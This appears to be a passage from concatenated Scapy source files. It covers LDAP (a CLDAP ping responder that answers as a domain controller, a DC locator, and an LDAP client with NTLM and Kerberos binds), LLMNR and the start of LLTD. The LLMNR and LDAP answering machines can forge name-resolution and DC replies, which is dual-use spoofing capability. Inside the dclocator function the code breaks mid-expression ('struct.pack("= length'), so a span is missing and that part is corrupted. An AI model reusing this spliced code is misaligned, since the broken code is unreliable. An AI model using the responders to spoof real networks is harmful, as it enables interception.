[MS-ADTS] 6.3.3 - Ldap ping class LdapPing_am(AnsweringMachine): function_name = "ldappingd" filter = "udp port 389 or 138" send_function = staticmethod(send) def parse_options( self, NetbiosDomainName="DOMAIN", DomainGuid=uuid.UUID("192bc4b3-0085-4521-83fe-062913ef59f2"), DcSiteName="Default-First-Site-Name", NetbiosComputerName="SRV1", DnsForestName=None, DnsHostName=None, src_ip=None, src_ip6=None, ): self.NetbiosDomainName = NetbiosDomainName self.DnsForestName = DnsForestName or (NetbiosDomainName + ".LOCAL") self.DomainGuid = DomainGuid self.DcSiteName = DcSiteName self.NetbiosComputerName = NetbiosComputerName self.DnsHostName = DnsHostName or ( NetbiosComputerName + "." + self.DnsForestName ) self.src_ip = src_ip self.src_ip6 = src_ip6 def is_request(self, req): # [MS-ADTS] 6.3.3 - Example: # (&(DnsDomain=abcde.corp.microsoft.com)(Host=abcdefgh-dev)(User=abcdefgh- # dev$)(AAC=\80\00\00\00)(DomainGuid=\3b\b0\21\ca\d3\6d\d1\11\8a\7d\b8\df\b1\56\87\1f)(NtVer # =\06\00\00\00)) if NBTDatagram in req: # special case: mailslot ping from scapy.layers.smb import SMBMailslot_Write, NETLOGON_SAM_LOGON_REQUEST try: return ( SMBMailslot_Write in req and NETLOGON_SAM_LOGON_REQUEST in req.Data ) except AttributeError: return False if CLDAP not in req or not isinstance(req.protocolOp, LDAP_SearchRequest): return False req = req.protocolOp return ( req.attributes and req.attributes[0].type.val.lower() == b"netlogon" and req.filter and isinstance(req.filter.filter, LDAP_FilterAnd) and any( x.filter.attributeType.val == b"NtVer" for x in req.filter.filter.vals ) ) def make_reply(self, req): if NBTDatagram in req: # Special case return self.make_mailslot_ping_reply(req) if IPv6 in req: resp = IPv6(dst=req[IPv6].src, src=self.src_ip6 or req[IPv6].dst) else: resp = IP(dst=req[IP].src, src=self.src_ip or req[IP].dst) resp /= UDP(sport=req.dport, dport=req.sport) # get the DnsDomainName from the request try: DnsDomainName = next( x.filter.attributeValue.val for x in req.protocolOp.filter.filter.vals if x.filter.attributeType.val == b"DnsDomain" ) except StopIteration: return return ( resp / CLDAP( protocolOp=LDAP_SearchResponseEntry( attributes=[ LDAP_PartialAttribute( values=[ LDAP_AttributeValue( value=ASN1_STRING( val=bytes( NETLOGON_SAM_LOGON_RESPONSE_EX( # Mandatory fields DnsDomainName=DnsDomainName, NtVersion="V1+V5", LmNtToken=65535, Lm20Token=65535, # Below can be customized Flags=0x3F3FD, DomainGuid=self.DomainGuid, DnsForestName=self.DnsForestName, DnsHostName=self.DnsHostName, NetbiosDomainName=self.NetbiosDomainName, # noqa: E501 NetbiosComputerName=self.NetbiosComputerName, # noqa: E501 UserName=b".", DcSiteName=self.DcSiteName, ClientSiteName=self.DcSiteName, ) ) ) ) ], type=ASN1_STRING(b"Netlogon"), ) ], ), messageID=req.messageID, user=None, ) / CLDAP( protocolOp=LDAP_SearchResponseResultDone( referral=None, resultCode=0, ), messageID=req.messageID, user=None, ) ) def make_mailslot_ping_reply(self, req): # type: (Packet) -> Packet from scapy.layers.smb import ( SMBMailslot_Write, SMB_Header, DcSockAddr, NETLOGON_SAM_LOGON_RESPONSE_EX, ) resp = IP(dst=req[IP].src) / UDP( sport=req.dport, dport=req.sport, ) address = self.src_ip or get_if_addr(self.optsniff.get("iface", conf.iface)) resp /= ( NBTDatagram( SourceName=req.DestinationName, SUFFIX1=req.SUFFIX2, DestinationName=req.SourceName, SUFFIX2=req.SUFFIX1, SourceIP=address, ) / SMB_Header() / SMBMailslot_Write( Name=req.Data.MailslotName, ) ) NetbiosDomainName = req.DestinationName.strip() resp.Data = NETLOGON_SAM_LOGON_RESPONSE_EX( # Mandatory fields NetbiosDomainName=NetbiosDomainName, DcSockAddr=DcSockAddr( sin_addr=address, ), NtVersion="V1+V5EX+V5EX_WITH_IP", LmNtToken=65535, Lm20Token=65535, # Below can be customized Flags=0x3F3FD, DomainGuid=self.DomainGuid, DnsForestName=self.DnsForestName, DnsDomainName=self.DnsForestName, DnsHostName=self.DnsHostName, NetbiosComputerName=self.NetbiosComputerName, DcSiteName=self.DcSiteName, ClientSiteName=self.DcSiteName, ) return resp _located_dc = collections.namedtuple("LocatedDC", ["ip", "samlogon"]) _dclocatorcache = conf.netcache.new_cache("dclocator", 600) @conf.commands.register def dclocator( realm, qtype="A", mode="ldap", port=None, timeout=1, NtVersion=None, debug=0 ): """ Perform a DC Locator as per [MS-ADTS] sect 6.3.6 or RFC4120. :param realm: the kerberos realm to locate :param mode: Detect if a server is up and joinable thanks to one of: - 'nocheck': Do not check that servers are online. - 'ldap': Use the LDAP ping (CLDAP) per [MS-ADTS]. Default. This will however not work with MIT Kerberos servers. - 'connect': connect to specified port to test the connection. :param mode: in connect mode, the port to connect to. (e.g. 88) :param debug: print debug logs This is cached in conf.netcache.dclocator. """ if NtVersion is None: # Windows' default NtVersion = ( 0x00000002 # V5 | 0x00000004 # V5EX | 0x00000010 # V5EX_WITH_CLOSEST_SITE | 0x01000000 # AVOID_NT4EMUL | 0x20000000 # IP ) # Check cache cache_ident = ";".join([realm, qtype, mode, str(NtVersion)]).lower() if cache_ident in _dclocatorcache: return _dclocatorcache[cache_ident] # Perform DNS-Based discovery (6.3.6.1) # 1. SRV records qname = "_kerberos._tcp.dc._msdcs.%s" % realm.lower() if debug: log_runtime.info("DC Locator: requesting SRV for '%s' ..." % qname) try: hosts = [ x.target for x in dns_resolve( qname=qname, qtype="SRV", timeout=timeout, ) ] except TimeoutError: raise TimeoutError("Resolution of %s timed out" % qname) if not hosts: raise ValueError("No DNS record found for %s" % qname) elif debug: log_runtime.info( "DC Locator: got %s. Resolving %s records ..." % (hosts, qtype) ) # 2. A records ips = [] for host in hosts: arec = dns_resolve( qname=host, qtype=qtype, timeout=timeout, ) if arec: ips.extend(x.rdata for x in arec) if not ips: raise ValueError("Could not get any %s records for %s" % (qtype, hosts)) elif debug: log_runtime.info("DC Locator: got %s . Mode: %s" % (ips, mode)) # Pick first online host. We have three options if mode == "nocheck": # Don't check anything. Not recommended return _located_dc(ips[0], None) elif mode == "connect": assert port is not None, "Must provide a port in connect mode !" # Compatibility with MIT Kerberos servers for ip in ips: # TODO: "addresses in weighted random order [RFC2782]" if debug: log_runtime.info("DC Locator: connecting to %s on %s ..." % (ip, port)) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) sock.connect((ip, port)) # Success result = _located_dc(ip, None) # Cache _dclocatorcache[cache_ident] = result return result except OSError: # Host timed out, No route to host, etc. if debug: log_runtime.info("DC Locator: %s timed out." % ip) continue finally: sock.close() raise ValueError("No host was reachable on port %s among %s" % (port, ips)) elif mode == "ldap": # Real 'LDAP Ping' per [MS-ADTS] for ip in ips: # TODO: "addresses in weighted random order [RFC2782]" if debug: log_runtime.info("DC Locator: LDAP Ping %s on ..." % ip) try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(timeout) sock.connect((ip, 389)) sock = SimpleSocket(sock, CLDAP) pkt = sock.sr1( CLDAP( protocolOp=LDAP_SearchRequest( filter=LDAP_Filter( filter=LDAP_FilterAnd( vals=[ LDAP_Filter( filter=LDAP_FilterEqual( attributeType=ASN1_STRING(b"DnsDomain"), attributeValue=ASN1_STRING(realm), ) ), LDAP_Filter( filter=LDAP_FilterEqual( attributeType=ASN1_STRING(b"NtVer"), attributeValue=ASN1_STRING( struct.pack("= length: return cls(data) class LDAP_Exception(RuntimeError): __slots__ = ["resultCode", "diagnosticMessage"] def __init__(self, *args, **kwargs): resp = kwargs.pop("resp", None) if resp: self.resultCode = resp.protocolOp.resultCode self.diagnosticMessage = resp.protocolOp.diagnosticMessage.val.rstrip( b"\x00" ).decode(errors="backslashreplace") else: self.resultCode = kwargs.pop("resultCode", None) self.diagnosticMessage = kwargs.pop("diagnosticMessage", None) super(LDAP_Exception, self).__init__(*args, **kwargs) # If there's a 'data' string argument, attempt to parse the error code. try: m = re.match(r"(\d+): LdapErr.*", self.diagnosticMessage) if m: errstr = m.group(1) err = int(errstr, 16) if err in STATUS_ERREF: self.diagnosticMessage = self.diagnosticMessage.replace( errstr, errstr + " (%s)" % STATUS_ERREF[err], 1 ) except ValueError: pass # Add note if this exception is raised self.add_note(self.diagnosticMessage) class LDAP_Client(object): """ A basic LDAP client The complete documentation is available at https://scapy.readthedocs.io/en/latest/layers/ldap.html Example 1 - SICILY - NTLM (with encryption):: client = LDAP_Client() client.connect("192.168.0.100") ssp = NTLMSSP(UPN="Administrator", PASSWORD="Password1!") client.bind( LDAP_BIND_MECHS.SICILY, ssp=ssp, encrypt=True, ) Example 2 - SASL_GSSAPI - Kerberos (with signing):: client = LDAP_Client() client.connect("192.168.0.100") ssp = KerberosSSP(UPN="Administrator@domain.local", PASSWORD="Password1!", SPN="ldap/dc1.domain.local") client.bind( LDAP_BIND_MECHS.SASL_GSSAPI, ssp=ssp, sign=True, ) Example 3 - SASL_GSS_SPNEGO - NTLM / Kerberos:: client = LDAP_Client() client.connect("192.168.0.100") ssp = SPNEGOSSP([ NTLMSSP(UPN="Administrator", PASSWORD="Password1!"), KerberosSSP(UPN="Administrator@domain.local", PASSWORD="Password1!", SPN="ldap/dc1.domain.local"), ]) client.bind( LDAP_BIND_MECHS.SASL_GSS_SPNEGO, ssp=ssp, ) Example 4 - Simple bind over TLS:: client = LDAP_Client() client.connect("192.168.0.100", use_ssl=True) client.bind( LDAP_BIND_MECHS.SIMPLE, simple_username="Administrator", simple_password="Password1!", ) """ def __init__( self, verb=True, ): self.sock = None self.host = None self.verb = verb self.ssl = False self.sslcontext = None self.ssp = None self.sspcontext = None self.encrypt = False self.sign = False # Session status self.sasl_wrap = False self.chan_bindings = GSS_C_NO_CHANNEL_BINDINGS self.bound = False self.messageID = 0 def connect( self, host, port=None, use_ssl=False, sslcontext=None, sni=None, no_check_certificate=False, timeout=5, ): """ Initiate a connection :param host: the IP or hostname to connect to. :param port: the port to connect to. (Default: 389 or 636) :param use_ssl: whether to use LDAPS or not. (Default: False) :param sslcontext: an optional SSLContext to use. :param sni: (optional) specify the SNI to use if LDAPS, otherwise use ip. :param no_check_certificate: with SSL, do not check the certificate """ self.ssl = use_ssl self.sslcontext = sslcontext self.timeout = timeout self.host = host if port is None: if self.ssl: port = 636 else: port = 389 # Create and configure socket sock = socket.socket() sock.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) sock.settimeout(timeout) # Connect if self.verb: print( "\u2503 Connecting to %s on port %s%s..." % ( host, port, " with SSL" if self.ssl else "", ) ) sock.connect((host, port)) if self.verb: print( conf.color_theme.green( "\u2514 Connected from %s" % repr(sock.getsockname()) ) ) # For SSL, build and apply SSLContext if self.ssl: if self.sslcontext is None: if no_check_certificate: context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) context.check_hostname = False context.verify_mode = ssl.CERT_NONE else: context = ssl.create_default_context() else: context = self.sslcontext sock = context.wrap_socket(sock, server_hostname=sni or host) # Wrap the socket in a Scapy socket if self.ssl: # Compute the channel binding token (CBT) self.chan_bindings = GssChannelBindings.fromssl( ChannelBindingType.TLS_SERVER_END_POINT, sslsock=sock, ) self.sock = SSLStreamSocket(sock, LDAP) else: self.sock = StreamSocket(sock, LDAP) def sr1(self, protocolOp, controls: List[LDAP_Control] = None, **kwargs): self.messageID += 1 if self.verb: print(conf.color_theme.opening(">> %s" % protocolOp.__class__.__name__)) # Build packet pkt = LDAP( messageID=self.messageID, protocolOp=protocolOp, Controls=controls, ) # If signing / encryption is used, apply if self.sasl_wrap: pkt = LDAP_SASL_Buffer( Buffer=self.ssp.GSS_Wrap( self.sspcontext, bytes(pkt), conf_req_flag=self.encrypt, # LDAP on Windows doesn't use SECBUFFER_PADDING, which # isn't supported by GSS_WrapEx. We add our own flag to # tell it. qop_req=GSS_QOP_REQ_FLAGS.GSS_S_NO_SECBUFFER_PADDING, ) ) # Send / Receive resp = self.sock.sr1( pkt, verbose=0, **kwargs, ) # Check for unsolicited notification if resp and LDAP in resp and resp[LDAP].unsolicited: if self.verb: resp.show() print(conf.color_theme.fail("! Got unsolicited notification.")) return resp # If signing / encryption is used, unpack if self.sasl_wrap: if resp.Buffer: resp = LDAP( self.ssp.GSS_Unwrap( self.sspcontext, resp.Buffer, ) ) else: resp = None # Verbose display if self.verb: if not resp: print(conf.color_theme.fail("! Bad response.")) return else: print( conf.color_theme.success( "<< %s" % ( resp.protocolOp.__class__.__name__ if LDAP in resp else resp.__class__.__name__ ) ) ) return resp def bind( self, mech, ssp=None, sign: Optional[bool] = None, encrypt: Optional[bool] = None, simple_username=None, simple_password=None, ): """ Send Bind request. :param mech: one of LDAP_BIND_MECHS :param ssp: the SSP object to use for binding :param sign: request signing when binding :param encrypt: request encryption when binding : This acts differently based on the :mech: provided during initialization. """ # Bind default values: if NTLM then encrypt, else sign unless anonymous/simple if encrypt is None: encrypt = mech == LDAP_BIND_MECHS.SICILY if sign is None and not encrypt: sign = mech not in [LDAP_BIND_MECHS.NONE, LDAP_BIND_MECHS.SIMPLE] # Store and check consistency self.mech = mech self.ssp = ssp # type: SSP self.sign = sign self.encrypt = encrypt self.sspcontext = None if mech is None or not isinstance(mech, LDAP_BIND_MECHS): raise ValueError( "'mech' attribute is required and must be one of LDAP_BIND_MECHS." ) if mech == LDAP_BIND_MECHS.SASL_GSSAPI: from scapy.layers.kerberos import KerberosSSP if not isinstance(self.ssp, KerberosSSP): raise ValueError("Only raw KerberosSSP is supported with SASL_GSSAPI !") elif mech == LDAP_BIND_MECHS.SASL_GSS_SPNEGO: from scapy.layers.spnego import SPNEGOSSP if not isinstance(self.ssp, SPNEGOSSP): raise ValueError("Only SPNEGOSSP is supported with SASL_GSS_SPNEGO !") elif mech == LDAP_BIND_MECHS.SICILY: from scapy.layers.ntlm import NTLMSSP if not isinstance(self.ssp, NTLMSSP): raise ValueError("Only raw NTLMSSP is supported with SICILY !") if self.sign and not self.encrypt: raise ValueError( "NTLM on LDAP does not support signing without encryption !" ) elif mech in [LDAP_BIND_MECHS.NONE, LDAP_BIND_MECHS.SIMPLE]: if self.sign or self.encrypt: raise ValueError("Cannot use 'sign' or 'encrypt' with NONE or SIMPLE !") else: raise ValueError("Mech %s is still unimplemented !" % mech) if self.ssp is not None and mech in [ LDAP_BIND_MECHS.NONE, LDAP_BIND_MECHS.SIMPLE, ]: raise ValueError("%s cannot be used with a ssp !" % mech.value) # Now perform the bind, depending on the mech if self.mech == LDAP_BIND_MECHS.SIMPLE: # Simple binding resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(simple_username or ""), authentication=LDAP_Authentication_simple( simple_password or "", ), ) ) if ( LDAP not in resp or not isinstance(resp.protocolOp, LDAP_BindResponse) or resp.protocolOp.resultCode != 0 ): raise LDAP_Exception( "LDAP simple bind failed !", resp=resp, ) status = GSS_S_COMPLETE elif self.mech == LDAP_BIND_MECHS.SICILY: # [MS-ADTS] sect 5.1.1.1.3 # 1. Package Discovery resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b""), authentication=LDAP_Authentication_sicilyPackageDiscovery(b""), ) ) if resp.protocolOp.resultCode != 0: raise LDAP_Exception( "Sicily package discovery failed !", resp=resp, ) # 2. First exchange: Negotiate self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, target_name="ldap/" + self.host, req_flags=( GSS_C_FLAGS.GSS_C_REPLAY_FLAG | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | (GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.sign else 0) | (GSS_C_FLAGS.GSS_C_CONF_FLAG if self.encrypt else 0) ), ) resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b"NTLM"), authentication=LDAP_Authentication_sicilyNegotiate( bytes(token), ), ) ) val = resp.protocolOp.serverCreds if not val: raise LDAP_Exception( "Sicily negotiate failed !", resp=resp, ) # 3. Second exchange: Response self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, input_token=GSSAPI_BLOB(val), target_name="ldap/" + self.host, chan_bindings=self.chan_bindings, ) resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b"NTLM"), authentication=LDAP_Authentication_sicilyResponse( bytes(token), ), ) ) if resp.protocolOp.resultCode != 0: raise LDAP_Exception( "Sicily response failed !", resp=resp, ) elif self.mech in [ LDAP_BIND_MECHS.SASL_GSS_SPNEGO, LDAP_BIND_MECHS.SASL_GSSAPI, ]: # GSSAPI or SPNEGO self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, target_name="ldap/" + self.host, req_flags=( # Required flags for GSSAPI: RFC4752 sect 3.1 GSS_C_FLAGS.GSS_C_REPLAY_FLAG | GSS_C_FLAGS.GSS_C_SEQUENCE_FLAG | GSS_C_FLAGS.GSS_C_MUTUAL_FLAG | (GSS_C_FLAGS.GSS_C_INTEG_FLAG if self.sign else 0) | (GSS_C_FLAGS.GSS_C_CONF_FLAG if self.encrypt else 0) ), chan_bindings=self.chan_bindings, ) if status not in [GSS_S_COMPLETE, GSS_S_CONTINUE_NEEDED]: raise RuntimeError( "%s: GSS_Init_sec_context failed !" % self.mech.name, ) while token: resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b""), authentication=LDAP_Authentication_SaslCredentials( mechanism=ASN1_STRING(self.mech.value), credentials=ASN1_STRING(bytes(token)), ), ) ) if not isinstance(resp.protocolOp, LDAP_BindResponse): raise LDAP_Exception( "%s bind failed !" % self.mech.name, resp=resp, ) val = resp.protocolOp.serverSaslCredsData if not val: status = resp.protocolOp.resultCode break self.sspcontext, token, status = self.ssp.GSS_Init_sec_context( self.sspcontext, input_token=GSSAPI_BLOB(val), target_name="ldap/" + self.host, chan_bindings=self.chan_bindings, ) else: status = GSS_S_COMPLETE if status != GSS_S_COMPLETE: raise LDAP_Exception( "%s bind failed !" % self.mech.name, resp=resp, ) elif self.mech == LDAP_BIND_MECHS.SASL_GSSAPI: # GSSAPI has 2 extra exchanges # https://datatracker.ietf.org/doc/html/rfc2222#section-7.2.1 resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b""), authentication=LDAP_Authentication_SaslCredentials( mechanism=ASN1_STRING(self.mech.value), credentials=None, ), ) ) # Parse server-supported layers saslOptions = LDAP_SASL_GSSAPI_SsfCap( self.ssp.GSS_Unwrap( self.sspcontext, GSSAPI_BLOB_SIGNATURE(resp.protocolOp.serverSaslCredsData), ) ) if self.sign and not saslOptions.supported_security_layers.INTEGRITY: raise RuntimeError("GSSAPI SASL failed to negotiate INTEGRITY !") if ( self.encrypt and not saslOptions.supported_security_layers.CONFIDENTIALITY ): raise RuntimeError("GSSAPI SASL failed to negotiate CONFIDENTIALITY !") # Announce client-supported layers saslOptions = LDAP_SASL_GSSAPI_SsfCap( supported_security_layers=( "+".join( (["INTEGRITY"] if self.sign else []) + (["CONFIDENTIALITY"] if self.encrypt else []) ) if (self.sign or self.encrypt) else "NONE" ), # Same as server max_output_token_size=saslOptions.max_output_token_size, ) resp = self.sr1( LDAP_BindRequest( bind_name=ASN1_STRING(b""), authentication=LDAP_Authentication_SaslCredentials( mechanism=ASN1_STRING(self.mech.value), credentials=self.ssp.GSS_Wrap( self.sspcontext, bytes(saslOptions), # We still haven't finished negotiating conf_req_flag=False, ), ), ) ) if resp.protocolOp.resultCode != 0: raise LDAP_Exception( "GSSAPI SASL failed to negotiate client security flags !", resp=resp, ) # If we use SPNEGO and NTLMSSP was used, understand we can't use sign if self.mech == LDAP_BIND_MECHS.SASL_GSS_SPNEGO: from scapy.layers.ntlm import NTLMSSP if isinstance(self.sspcontext.ssp, NTLMSSP): self.sign = False # SASL wrapping is now available. self.sasl_wrap = self.encrypt or self.sign if self.sasl_wrap: self.sock.closed = True # prevent closing by marking it as already closed. self.sock = StreamSocket(self.sock.ins, LDAP_SASL_Buffer) # Success. if self.verb: print("%s bind succeeded !" % self.mech.name) self.bound = True _TEXT_REG = re.compile(b"^[%s]*$" % re.escape(string.printable.encode())) def search( self, baseObject: str = "", filter: str = "", scope=0, derefAliases=0, sizeLimit=300000, timeLimit=3000, attrsOnly=0, attributes: List[str] = [], controls: List[LDAP_Control] = [], ) -> Dict[str, List[Any]]: """ Perform a LDAP search. :param baseObject: the dn of the base object to search in. :param filter: the filter to apply to the search (currently unsupported) :param scope: 0=baseObject, 1=singleLevel, 2=wholeSubtree """ if baseObject == "rootDSE": baseObject = "" if filter: filter = LDAP_Filter.from_rfc2254_string(filter) else: # Default filter: (objectClass=*) filter = LDAP_Filter( filter=LDAP_FilterPresent( present=ASN1_STRING(b"objectClass"), ) ) # we loop as we might need more than one packet thanks to paging cookie = b"" entries = {} while True: resp = self.sr1( LDAP_SearchRequest( filter=filter, attributes=[ LDAP_SearchRequestAttribute(type=ASN1_STRING(attr)) for attr in attributes ], baseObject=ASN1_STRING(baseObject), scope=ASN1_ENUMERATED(scope), derefAliases=ASN1_ENUMERATED(derefAliases), sizeLimit=ASN1_INTEGER(sizeLimit), timeLimit=ASN1_INTEGER(timeLimit), attrsOnly=ASN1_BOOLEAN(attrsOnly), ), controls=( controls + ( [ # This control is only usable when bound. LDAP_Control( controlType="1.2.840.113556.1.4.319", criticality=True, controlValue=LDAP_realSearchControlValue( size=100, # paging to 100 per 100 cookie=cookie, ), ) ] if self.bound else [] ) ), timeout=self.timeout, ) if LDAP_SearchResponseResultDone not in resp: resp.show() raise TimeoutError("Search timed out.") # Now, reassemble the results def _s(x): try: return x.decode() except UnicodeDecodeError: return x def _ssafe(x): if self._TEXT_REG.match(x): return x.decode() else: return x # For each individual packet response while resp: # Find all 'LDAP' layers if LDAP not in resp: log_runtime.warning("Invalid response: %s", repr(resp)) break if LDAP_SearchResponseEntry in resp.protocolOp: attrs = { _s(attr.type.val): [_ssafe(x.value.val) for x in attr.values] for attr in resp.protocolOp.attributes } entries[_s(resp.protocolOp.objectName.val)] = attrs elif LDAP_SearchResponseResultDone in resp.protocolOp: resultCode = resp.protocolOp.resultCode if resultCode != 0x0: # != success log_runtime.warning( resp.protocolOp.sprintf("Got response: %resultCode%") ) raise LDAP_Exception( "LDAP search failed !", resp=resp, ) else: # success if resp.Controls: # We have controls back realSearchControlValue = next( ( c.controlValue for c in resp.Controls if isinstance( c.controlValue, LDAP_realSearchControlValue ) ), None, ) if realSearchControlValue is not None: # has paging ! cookie = realSearchControlValue.cookie.val break break resp = resp.payload # If we have a cookie, continue if not cookie: break return entries def modify( self, object: str, changes: List[LDAP_ModifyRequestChange], controls: List[LDAP_Control] = [], ) -> None: """ Perform a LDAP modify request. :returns: """ resp = self.sr1( LDAP_ModifyRequest( object=object, changes=changes, ), controls=controls, timeout=self.timeout, ) if ( LDAP_ModifyResponse not in resp.protocolOp or resp.protocolOp.resultCode != 0 ): raise LDAP_Exception( "LDAP modify failed !", resp=resp, ) def add( self, entry: str, attributes: Union[Dict[str, List[Any]], List[ASN1_Packet]], controls: List[LDAP_Control] = [], ): """ Perform a LDAP add request. :param attributes: the attributes to add. We support two formats: - a list of LDAP_Attribute (or LDAP_PartialAttribute) - a dict following {attribute: [list of values]} :returns: """ # We handle the two cases in the type of attributes if isinstance(attributes, dict): attributes = [ LDAP_Attribute( type=ASN1_STRING(k), values=[ LDAP_AttributeValue( value=ASN1_STRING(x), ) for x in v ], ) for k, v in attributes.items() ] resp = self.sr1( LDAP_AddRequest( entry=ASN1_STRING(entry), attributes=attributes, ), controls=controls, timeout=self.timeout, ) if LDAP_AddResponse not in resp.protocolOp or resp.protocolOp.resultCode != 0: raise LDAP_Exception( "LDAP add failed !", resp=resp, ) def modifydn( self, entry: str, newdn: str, deleteoldrdn=True, controls: List[LDAP_Control] = [], ): """ Perform a LDAP modify DN request. ..note:: This functions calculates the relative DN and superior required for LDAP ModifyDN automatically. :param entry: the DN of the entry to rename. :param newdn: the new FULL DN of the entry. :returns: """ # RFC4511 sect 4.9 # Calculate the newrdn (relative DN) and superior newrdn, newSuperior = newdn.split(",", 1) _, cur_superior = entry.split(",", 1) # If the superior hasn't changed, don't update it. if cur_superior == newSuperior: newSuperior = None # Send the request resp = self.sr1( LDAP_ModifyDNRequest( entry=entry, newrdn=newrdn, newSuperior=newSuperior, deleteoldrdn=deleteoldrdn, ), controls=controls, timeout=self.timeout, ) if ( LDAP_ModifyDNResponse not in resp.protocolOp or resp.protocolOp.resultCode != 0 ): raise LDAP_Exception( "LDAP modify failed !", resp=resp, ) def close(self): if self.verb: print("X Connection closed\n") self.sock.close() self.bound = False self.sspcontext = None ================================================ FILE: scapy/layers/llmnr.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """ LLMNR (Link Local Multicast Node Resolution). [RFC 4795] LLMNR is based on the DNS packet format (RFC1035 Section 4) RFC also envisions LLMNR over TCP. Like vista, we don't support it -- arno """ import struct from scapy.fields import ( BitEnumField, BitField, DestField, DestIP6Field, ShortField, ) from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.compat import orb from scapy.layers.inet import UDP from scapy.layers.dns import ( DNSCompressedPacket, DNS_am, DNS, DNSQR, DNSRR, ) _LLMNR_IPv6_mcast_Addr = "FF02:0:0:0:0:0:1:3" _LLMNR_IPv4_mcast_addr = "224.0.0.252" class LLMNRQuery(DNSCompressedPacket): name = "Link Local Multicast Node Resolution - Query" qd = [] fields_desc = [ ShortField("id", 0), BitField("qr", 0, 1), BitEnumField("opcode", 0, 4, {0: "QUERY"}), BitField("c", 0, 1), BitField("tc", 0, 1), BitField("t", 0, 1), BitField("z", 0, 4) ] + DNS.fields_desc[-9:] overload_fields = {UDP: {"sport": 5355, "dport": 5355}} def get_full(self): # Required for DNSCompressedPacket return self.original def hashret(self): return struct.pack("!H", self.id) def mysummary(self): s = self.__class__.__name__ if self.qr: if self.an and isinstance(self.an[0], DNSRR): s += " '%s' is at '%s'" % ( self.an[0].rrname.decode(errors="backslashreplace"), self.an[0].rdata, ) else: s += " [malformed]" elif self.qd and isinstance(self.qd[0], DNSQR): s += " who has '%s'" % ( self.qd[0].qname.decode(errors="backslashreplace"), ) else: s += " [malformed]" return s, [UDP] class LLMNRResponse(LLMNRQuery): name = "Link Local Multicast Node Resolution - Response" qr = 1 def answers(self, other): return (isinstance(other, LLMNRQuery) and self.id == other.id and self.qr == 1 and other.qr == 0) class _LLMNR(Packet): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if len(_pkt) >= 2: if (orb(_pkt[2]) & 0x80): # Response return LLMNRResponse else: # Query return LLMNRQuery return cls bind_bottom_up(UDP, _LLMNR, dport=5355) bind_bottom_up(UDP, _LLMNR, sport=5355) bind_layers(UDP, _LLMNR, sport=5355, dport=5355) DestField.bind_addr(LLMNRQuery, _LLMNR_IPv4_mcast_addr, dport=5355) DestField.bind_addr(LLMNRResponse, _LLMNR_IPv4_mcast_addr, dport=5355) DestIP6Field.bind_addr(LLMNRQuery, _LLMNR_IPv6_mcast_Addr, dport=5355) DestIP6Field.bind_addr(LLMNRResponse, _LLMNR_IPv6_mcast_Addr, dport=5355) class LLMNR_am(DNS_am): """ LLMNR answering machine. This has the same arguments as DNS_am. See help(DNS_am) Example:: >>> llmnrd(joker="192.168.0.2", iface="eth0") >>> llmnrd(match={"TEST": "192.168.0.2"}) """ function_name = "llmnrd" filter = "udp port 5355" cls = LLMNRQuery # LLMNRQuery(id=RandShort(), qd=DNSQR(qname="vista."))) ================================================ FILE: scapy/layers/lltd.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Philippe Biondi """LLTD Protocol https://msdn.microsoft.com/en-us/library/cc233983.aspx """ from array import array from scapy.fields import BitField, FlagsField, ByteField, ByteEnumField, \ ShortField, ShortEnumField, ThreeBytesField, IntField, IntEnumField, \ LongField, MultiEnumField, FieldLenField, FieldListField, \ PacketListField, StrLenField, StrLenFieldUtf16, ConditionalField, MACField from scapy.packet import Packet, Padding, bind_layers from scapy.plist import PacketList from scapy.layers.l2 import Ether from scapy.layers.inet import IPField from scapy.layers.inet6 import IP6Field from scapy.data import ETHER_ANY from scapy.compat import orb, chb # Protocol layers ################## class LLTD(Packet): name = "LLTD" answer_hashret = { # (tos, function) tuple mapping (answer -> query), used by # .hashret() (1, 1): (0, 0), (0, 12): (0, 11), } fields_desc = [ ByteField("version", 1), ByteEnumField("tos", 0, { 0: "Topology discovery", 1: "Quick discovery", 2: "QoS diagnostics", }), ByteField("reserved", 0), MultiEnumField("function", 0, { 0: { 0: "Discover", 1: "Hello", 2: "Emit", 3: "Train", 4: "Probe", 5: "Ack", 6: "Query", 7: "QueryResp", 8: "Reset", 9: "Charge", 10: "Flat", 11: "QueryLargeTlv", 12: "QueryLargeTlvResp", }, 1: { 0: "Discover", 1: "Hello", 8: "Reset", }, 2: { 0: "QosInitializeSink", 1: "QosReady", 2: "QosProbe", 3: "QosQuery", 4: "QosQueryResp", 5: "QosReset", 6: "QosError", 7: "QosAck", 8: "QosCounterSnapshot", 9: "QosCounterResult", 10: "QosCounterLease", }, }, depends_on=lambda pkt: pkt.tos, fmt="B"), MACField("real_dst", None), MACField("real_src", None), ConditionalField(ShortField("xid", 0), lambda pkt: pkt.function in [0, 8]), ConditionalField(ShortField("seq", 0), lambda pkt: pkt.function not in [0, 8]), ] def post_build(self, pkt, pay): if (self.real_dst is None or self.real_src is None) and \ isinstance(self.underlayer, Ether): eth = self.underlayer if self.real_dst is None: pkt = (pkt[:4] + eth.fields_desc[0].i2m(eth, eth.dst) + pkt[10:]) if self.real_src is None: pkt = (pkt[:10] + 